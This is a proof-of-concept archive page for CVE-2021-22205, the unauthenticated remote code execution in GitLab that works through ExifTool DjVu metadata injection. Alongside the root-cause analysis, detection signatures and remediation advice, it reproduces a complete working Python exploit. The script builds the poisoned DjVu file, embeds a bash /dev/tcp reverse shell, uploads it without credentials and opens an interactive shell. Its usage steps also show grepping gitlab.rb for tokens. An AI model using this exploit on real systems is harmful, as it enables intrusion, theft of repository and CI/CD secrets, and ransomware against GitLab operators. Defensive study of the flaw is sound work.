PoC Archive PoC Archive
CVE-2021-22205 category: web CVSS 10 (CRITICAL) KEV Ransomware EPSS 100%
Patched

GitLab Unauthenticated RCE via Workhorse Pre-Auth Upload into ExifTool DjVu Injection (CVE-2021-22205)

Published: 2026-08-09 • Researcher: K3ysTr0K3R (exploit author); original discovery by William Bowling (vakzz)

Target software GitLab Community Edition and Enterprise Edition (via bundled ExifTool, invoked by GitLab Workhorse)
Affected versions All versions from 11.9 up to (but excluding) 13.8.8, 13.9.6, and 13.10.3
Status Patched (GitLab 13.8.8, 13.9.6, 13.10.3)
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV Ransomware EPSS 100%

Confirmed exploited in the wild. Added to CISA KEV 2021-11-03. Federal remediation deadline 2021-11-17.

EPSS 99.7% · 100th percentile

Severity
Critical
CVE
CVE-2021-22205 (chains CVE-2021-22204 in ExifTool)
Category
web
Affected product
GitLab Community Edition and Enterprise Edition (via bundled ExifTool, invoked by GitLab Workhorse)
Affected versions
All versions from 11.9 up to (but excluding) 13.8.8, 13.9.6, and 13.10.3
Disclosed
2026-08-09
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2026-06-24
Author / ResearcherK3ysTr0K3R (exploit author); original discovery by William Bowling (vakzz)
CVE / AdvisoryCVE-2021-22205 (chains CVE-2021-22204 in ExifTool)
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
StatusPatched (GitLab 13.8.8, 13.9.6, 13.10.3)
Tagsgitlab, exiftool, djvu, rce, preauth, unauthenticated, workhorse, perl, qx, reverse-shell, metadata-injection, kev, ransomware, python, cve-2021-22205, cve-2021-22204
RelatedN/A — the ExifTool half of the chain is CVE-2021-22204, fixed separately in ExifTool 12.24

Affected Target

FieldValue
Software / SystemGitLab Community Edition and Enterprise Edition (via bundled ExifTool, invoked by GitLab Workhorse)
Versions AffectedAll versions from 11.9 up to (but excluding) 13.8.8, 13.9.6, and 13.10.3
Language / PlatformRuby on Rails plus Go (Workhorse) plus Perl (ExifTool) on Linux; PoC is Python 3
Authentication RequiredNo — this is the defining property of the bug
Network Access RequiredYes — HTTP/HTTPS reachability to the GitLab instance, plus an inbound path back to the operator listener for the reverse shell

Summary

GitLab Workhorse intercepts multipart file uploads and strips image metadata by shelling out to ExifTool before the request is routed to Rails and therefore before any authentication or authorization decision is made. ExifTool in turn contained CVE-2021-22204, a DjVu annotation parsing flaw where the Copyright metadata field is evaluated as Perl, so a qx{...} construct inside it reaches shell execution. Chaining the two yields unauthenticated remote code execution on any GitLab instance from 11.9 onward: an attacker POSTs a crafted DjVu file disguised as poc.jpg to an arbitrary, even nonexistent, URL path and the payload executes as the git user. Rated CVSS 10.0 Critical with an EPSS of roughly 1.00 (100th percentile), it was added to CISA KEV on 2021-11-03 with knownRansomwareCampaignUse = Known and remains one of the most heavily and persistently exploited GitLab vulnerabilities. This entry mirrors a Python PoC that builds the DjVu container, splices in an operator-supplied reverse shell, starts its own listener, and drops into an interactive shell.

Vulnerability Details

Root Cause

Two distinct defects compose into a pre-auth RCE:

1. GitLab side (CVE-2021-22205, CWE-20 improper input validation). Workhorse pre-processes multipart uploads for any request that carries one, sanitizing image metadata by invoking ExifTool. This happens in the Go proxy layer that sits in front of Rails, so it runs before session validation, before route authorization, and even before the route is confirmed to exist. GitLab also decided which files to hand to ExifTool based on the claimed file extension and MIME type rather than the real content, so a DjVu payload named poc.jpg and declared as image/jpeg was still parsed as the DjVu it actually was. The practical consequence, and the reason the PoC posts to a random 8-character path, is that the upload never needs to reach a valid or permitted endpoint — the parsing side effect has already happened by the time the request would have been rejected.

2. ExifTool side (CVE-2021-22204, CWE-95 eval injection). The DjVu ANTa annotation chunk value is passed through a Perl eval in a string context. The exploit therefore crafts a Copyright value that closes the string literal and concatenates the result of a qx{} block, which is Perl backtick syntax and executes its contents in a shell. Decoding the two base64 blobs in exploit.py and splicing the payload reconstructs this annotation exactly:

Output
(metadata


Copyright "\
" . qx{echo <base64 of reverse-shell command> | base64 -d | bash} . \
" b ") )

The structure is a container prefix, the injected command, then a closer. Blob 1 is a legitimate DjVu container (AT&TFORM / DJVM / DIRM / FORM / DJVI / ANTa) whose 32-byte annotation prefix ends mid-expression at . qx{, and blob 2 is only the 14-byte closer } . \ \n" b ") ) followed by 350 space characters. That padding is functional rather than decorative: the ANTa chunk header declares a fixed length of 336 bytes, so the trailing spaces guarantee the chunk still supplies its declared byte count no matter how long the operator reverse-shell command turns out to be. The meaningful expression must fit inside that 336-byte window, leaving roughly 290 bytes of command budget after the 32-byte prefix and 14-byte closer.

Attack Vector

A single unauthenticated multipart HTTP POST:

  1. The exploit generates a random 8-character lowercase-alphanumeric path and POSTs to <target>/<random>, a path that generally does not exist.
  2. The body is a multipart form with field name file, filename poc.jpg, and content type image/jpeg, carrying the crafted DjVu bytes.
  3. Workhorse extracts the upload and runs ExifTool over it pre-auth; ExifTool parses the DjVu annotation, Perl evaluates the qx{} block, and the shell command runs as the git user.
  4. The command is bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1', base64-wrapped to survive the metadata field, so the target dials back to the operator listener.

No credentials, no CSRF token, no valid project, and no user interaction are required. The upload response is frequently a non-200 or an outright timeout because the server hangs while the injected shell runs — which is exactly why the PoC treats a timeout as success and waits on the listener instead.

Impact

Remote code execution as the git user on the GitLab application host, which in a typical deployment means read and write access to every hosted repository, the GitLab secrets and secrets.yml signing keys, CI/CD variables and runner registration tokens, and database credentials. Because CI/CD secrets frequently include cloud and registry credentials, a single compromised GitLab instance is a high-grade supply-chain pivot into downstream build and deployment infrastructure. Observed real-world use includes botnet recruitment, cryptomining, and ransomware, which is why the KEV record carries the known-ransomware flag; the EPSS of about 1.00 reflects sustained mass exploitation years after the patch, driven by long-lived unpatched self-managed instances.

Environment / Lab Setup

Output
OS:          Linux, Docker host
Target:      GitLab CE 13.10.2 (or any 11.9 <= version < 13.8.8 / 13.9.6 / 13.10.3)
Attacker:    Python 3 host with an inbound-reachable IP for the reverse shell
Tools:       exploit.py (this folder), requests, rich; nc as an alternative listener

Setup Steps

Shell script
1
2
3
4
5
6
7
docker run -d --name gitlab-vuln \
  -p 8080:80 \
  gitlab/gitlab-ce:13.10.2-ce.0

curl -s http://127.0.0.1:8080/help | grep -i '13\.10'

pip3 install requests rich

Proof of Concept

See exploit.py in this folder — mirrored byte-identically from K3ysTr0K3R/CVE-2021-22205. upstream-README.md is the unmodified upstream README.

Step-by-Step Reproduction

  1. Run the exploit with the target URL and your listener details. The script starts its own listener, so no separate nc is needed.

    Shell script
    1
    
    python3 exploit.py -u http://127.0.0.1:8080 -l 10.0.0.5 -p 4444
  2. Let the upload time out if it does. A hang is the expected behaviour while the injected shell runs; the script prints a warning and keeps waiting on the listener.

  3. Use the interactive shell once the callback lands. Type exit to close it.

    Output
    id
    cat /etc/gitlab/gitlab.rb | grep -i token

Exploit Code

Full, unmodified upstream source is exploit.py. The payload construction and the pre-auth upload are the core:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def generate_malicious_djvu(lhost, lport):
    part1_b64 = "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz..."   # DjVu container + `Copyright "\ ... qx{`
    part3_b64 = "fSAuIFwKIiBiICIpICkgICAgICAg..."                       # `} . \ " b ") )` + space padding
    part1 = base64.b64decode(part1_b64)
    part3 = base64.b64decode(part3_b64)
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    b64_cmd = base64.b64encode(cmd.encode()).decode()
    payload = f"echo {b64_cmd} | base64 -d | bash"
    return part1 + payload.encode() + part3

def upload_exploit(target_url, malicious_data, result_queue):
    rand = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
    upload_url = f"{target_url.rstrip('/')}/{rand}"
    files = {'file': ('poc.jpg', malicious_data, 'image/jpeg')}
    ...
    r = requests.post(upload_url, files=files, timeout=30)

The random path is not an oversight — it demonstrates that Workhorse parses the upload before routing and authorization, which is precisely what makes the bug pre-auth. The listener and the uploader run as concurrent daemon threads so the callback is caught even when the upload request never returns.

Expected Output

Output
[!] Coded By: K3ysTr0K3R
[*] Generating malicious DjVu payload...
[*] Listening on 0.0.0.0:4444 ...
[*] Uploading payload to http://127.0.0.1:8080/a1b2c3d4
[*] Waiting for reverse shell connection... (upload may time out, that's okay)
[!] Upload timed out – this is common if the server hangs while executing the payload.
[!] We'll still check for the reverse shell connection.
[+] Incoming connection from 172.17.0.2:49158

[+] Interactive shell established. Type 'exit' to quit.

id
uid=998(git) gid=998(git) groups=998(git)

Detection & Indicators of Compromise

Output
"POST /a1b2c3d4 HTTP/1.1" 422
"POST /<random8> HTTP/1.1" 404   # with a multipart/form-data body containing a file part

AT&TFORM ... DJVM ... DJVI ... ANTa
(metadata
Copyright "\
qx{

git  ...  /usr/bin/perl /opt/gitlab/embedded/bin/exiftool
git  ...  \_ bash -c bash -i >& /dev/tcp/<attacker>/<port> 0>&1

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"GitLab CVE-2021-22205 ExifTool DjVu metadata injection upload";
  flow:established,to_server; content:"POST"; http_method;
  content:"multipart/form-data"; http_header;
  content:"AT&TFORM"; http_client_body;
  content:"ANTa"; http_client_body; distance:0;
  content:"qx{"; http_client_body;
  sid:9000122; rev:1;)

Remediation

ActionDetail
PatchUpgrade GitLab CE/EE to 13.8.8, 13.9.6, or 13.10.3 (or any later release). Independently ensure bundled ExifTool is 12.24 or later, which fixes the underlying CVE-2021-22204.
WorkaroundIf patching must be deferred, block or strip multipart uploads to unexpected paths at the reverse proxy and reject bodies containing AT&TFORM or ANTa markers. Restrict inbound access to the instance and block outbound egress from the GitLab host to the internet so a reverse shell cannot connect out. Disable open user registration to shrink the wider attack surface.
Config HardeningTreat any instance that was internet-facing while unpatched as compromised: rotate secrets.yml, CI/CD variables, runner registration tokens, deploy keys, and database credentials, then audit for unknown admin users, added SSH keys, and unexpected cron or systemd units. Add egress filtering and alert on exiftool or perl spawning shells under the git account.

References

Notes

  • Verified this session. The full upstream source was read directly (not just repo metadata) before writing this entry, and the two files in this folder are byte-identical mirrors of the upstream repository confirmed with diff against a fresh clone.
  • The two base64 blobs are benign, and this is the most important thing to know about this entry. A reader skimming exploit.py sees two long base64 strings plus very long lines and will reasonably suspect a hidden payload, so both blobs were decoded during verification and are documented here rather than trusted. Blob 1 (part1_b64, 224 bytes decoded) is a legitimate DjVu container — it begins with the AT&TFORM magic and contains the DJVM, DIRM, FORM, DJVI, and ANTa chunk structure, ending mid-expression with the ExifTool metadata injection prefix (metadata ... Copyright "\ \n" . qx{. Blob 2 (part3_b64, 364 bytes decoded) is nothing but the 14-byte closer } . \ \n" b ") ) followed by 350 space characters of padding to satisfy the 336-byte length declared in the ANTa chunk header. The operator reverse shell is spliced between the two halves at runtime by generate_malicious_djvu(). There is no hidden payload, no second-stage download, and no hardcoded C2 anywhere in the file — the blobs are simply a pre-built exploit container, and base64 is used because the bytes are binary.
  • Malware screen — clean. No eval and no exec anywhere; no subprocess or os.system misuse (the only command execution is the payload that runs on the target, which is the point of the PoC); no remote code or tool fetch; no reading or exfiltration of local credentials, SSH keys, or environment variables; no miner, no persistence mechanism, and no destructive action against the operator host; no committed binaries or archives in the repository. Dependencies are limited to requests and rich, both mainstream correctly-spelled PyPI packages with no typosquatting, alongside standard-library socket, threading, queue, select, base64, random, string, argparse, sys, and time. All callbacks are operator-supplied: --lhost and --lport are required=True arguments with no defaults and no fallback address, the listener binds locally on the operator-chosen port, and the only outbound traffic is the upload to the operator-specified --url.
  • Upstream README quality — stated honestly. The upstream README is generic and reads as LLM-generated: its References section lists “NVD: CVE-2021-22205”, “GitLab Security Advisory”, “Rapid7 Analysis”, and “CISA Known Exploited Vulnerabilities Catalog” as bare unlinked text, and its technical section is high-level background rather than a description of what the code does. The description in this entry was therefore written from the code itself and from primary sources, not from upstream claims. The code, by contrast, is real and internally coherent: the DjVu container decodes cleanly, the Perl injection is correctly formed, the threading model correctly anticipates the upload hang, and the payload budget fits the declared chunk length.
  • A timeout is success, not failure. upload_exploit() deliberately puts True on the result queue on requests.exceptions.Timeout, because the server commonly hangs while the injected reverse shell runs. Operators who expect a clean HTTP 200 will misread a working exploit as a failed one.
  • Listener timeout is 60 seconds (sock.settimeout(60)), so slow or heavily loaded targets can miss the window and report “No reverse shell connection received” even though the payload landed. The SO_REUSEADDR option is set, so an immediate retry on the same port works.
  • Author credibility: K3ysTr0K3R is an established account (84 repositories, roughly 319 followers, commit identity 70909693+K3ysTr0K3R@users.noreply.github.com under the name Jared) with a consistent history of CVE PoC publication. The original vulnerability research is credited to William Bowling (vakzz), who reported both halves of the chain via HackerOne.
  • Both halves need attention. Patching GitLab closes the pre-auth path, but the underlying ExifTool flaw (CVE-2021-22204) affects any application that feeds untrusted files to ExifTool below version 12.24. Audit other services in the estate that do image metadata stripping.
exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3

import sys
import base64
import requests
import random
import string
import argparse
import socket
import threading
import queue
import time
import select
from rich.console import Console
from rich.markup import escape

console = Console()

def generate_malicious_djvu(lhost, lport):
    part1_b64 = "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgoKQ29weXJpZ2h0ICJcCiIgLiBxeHs="
    part3_b64 = "fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg=="
    part1 = base64.b64decode(part1_b64)
    part3 = base64.b64decode(part3_b64)
    cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
    b64_cmd = base64.b64encode(cmd.encode()).decode()
    payload = f"echo {b64_cmd} | base64 -d | bash"
    return part1 + payload.encode() + part3

def upload_exploit(target_url, malicious_data, result_queue):
    rand = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
    upload_url = f"{target_url.rstrip('/')}/{rand}"
    files = {'file': ('poc.jpg', malicious_data, 'image/jpeg')}
    try:
        console.print(f"[bold blue][*][/] Uploading payload to [cyan]{upload_url}[/]")
        r = requests.post(upload_url, files=files, timeout=30)
        console.print(f"[bold green][+][/] Upload responded with status [green]{r.status_code}[/]")
        if r.status_code == 200:
            result_queue.put(True)
        else:
            console.print(f"[bold red][-][/] Upload returned non-200: {r.status_code}")
            result_queue.put(False)
    except requests.exceptions.Timeout:
        console.print("[bold yellow][!][/] Upload timed out – this is common if the server hangs while executing the payload.")
        console.print("[bold yellow][!][/] We'll still check for the reverse shell connection.")
        result_queue.put(True)
    except Exception as e:
        console.print(f"[bold red][-][/] Upload error: {e}")
        result_queue.put(False)

def listener_thread(lport, conn_queue):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', lport))
    sock.listen(1)
    sock.settimeout(60)
    console.print(f"[bold blue][*][/] Listening on [cyan]0.0.0.0:{lport}[/] ...")
    try:
        client, addr = sock.accept()
        console.print(f"[bold green][+][/] Incoming connection from [green]{addr[0]}:{addr[1]}[/]")
        conn_queue.put(client)
    except socket.timeout:
        console.print("[bold red][-][/] Listener timed out waiting for shell.")
        conn_queue.put(None)
    except Exception as e:
        console.print(f"[bold red][-][/] Listener error: {e}")
        conn_queue.put(None)
    finally:
        sock.close()

def interactive_shell(client_sock):
    console.print("\n[bold green][+][/] Interactive shell established. Type [bold yellow]'exit'[/] to quit.\n")
    while True:
        rlist, _, _ = select.select([sys.stdin, client_sock], [], [])
        for fd in rlist:
            if fd == sys.stdin:
                cmd = sys.stdin.readline()
                if not cmd:
                    continue
                if cmd.strip().lower() == 'exit':
                    console.print("[bold yellow][*][/] Exiting shell.")
                    client_sock.close()
                    return
                client_sock.send(cmd.encode())
            elif fd == client_sock:
                try:
                    data = client_sock.recv(4096)
                    if not data:
                        console.print("\n[bold red][-][/] Connection closed by remote host.")
                        return
                    sys.stdout.write(data.decode(errors='ignore'))
                    sys.stdout.flush()
                except Exception as e:
                    console.print(f"[bold red][-][/] Error receiving: {e}")
                    return

def main():
    parser = argparse.ArgumentParser(description="CVE-2021-22205 RCE with auto-listener")
    parser.add_argument("-u", "--url", required=True, help="Target GitLab URL (e.g., http://192.168.1.100)")
    parser.add_argument("-l", "--lhost", required=True, help="Your listener IP (must be reachable from target)")
    parser.add_argument("-p", "--lport", type=int, required=True, help="Port for reverse shell")
    args = parser.parse_args()

    console.print("[bold blue][*][/] Generating malicious DjVu payload...")
    malicious_data = generate_malicious_djvu(args.lhost, args.lport)

    conn_queue = queue.Queue()
    upload_queue = queue.Queue()

    listener = threading.Thread(target=listener_thread, args=(args.lport, conn_queue))
    listener.daemon = True
    listener.start()

    time.sleep(1)

    uploader = threading.Thread(target=upload_exploit, args=(args.url, malicious_data, upload_queue))
    uploader.daemon = True
    uploader.start()

    console.print("[bold blue][*][/] Waiting for reverse shell connection... (upload may time out, that's okay)")

    client = conn_queue.get()
    if client is None:
        console.print("[bold red][-][/] No reverse shell connection received.")
        sys.exit(1)

    try:
        interactive_shell(client)
    except KeyboardInterrupt:
        console.print("\n[bold yellow][*][/] Interrupted. Closing shell.")
        client.close()

if __name__ == "__main__":
    console.print("[yellow][!][/] Coded By: K3ysTr0K3R")
    main()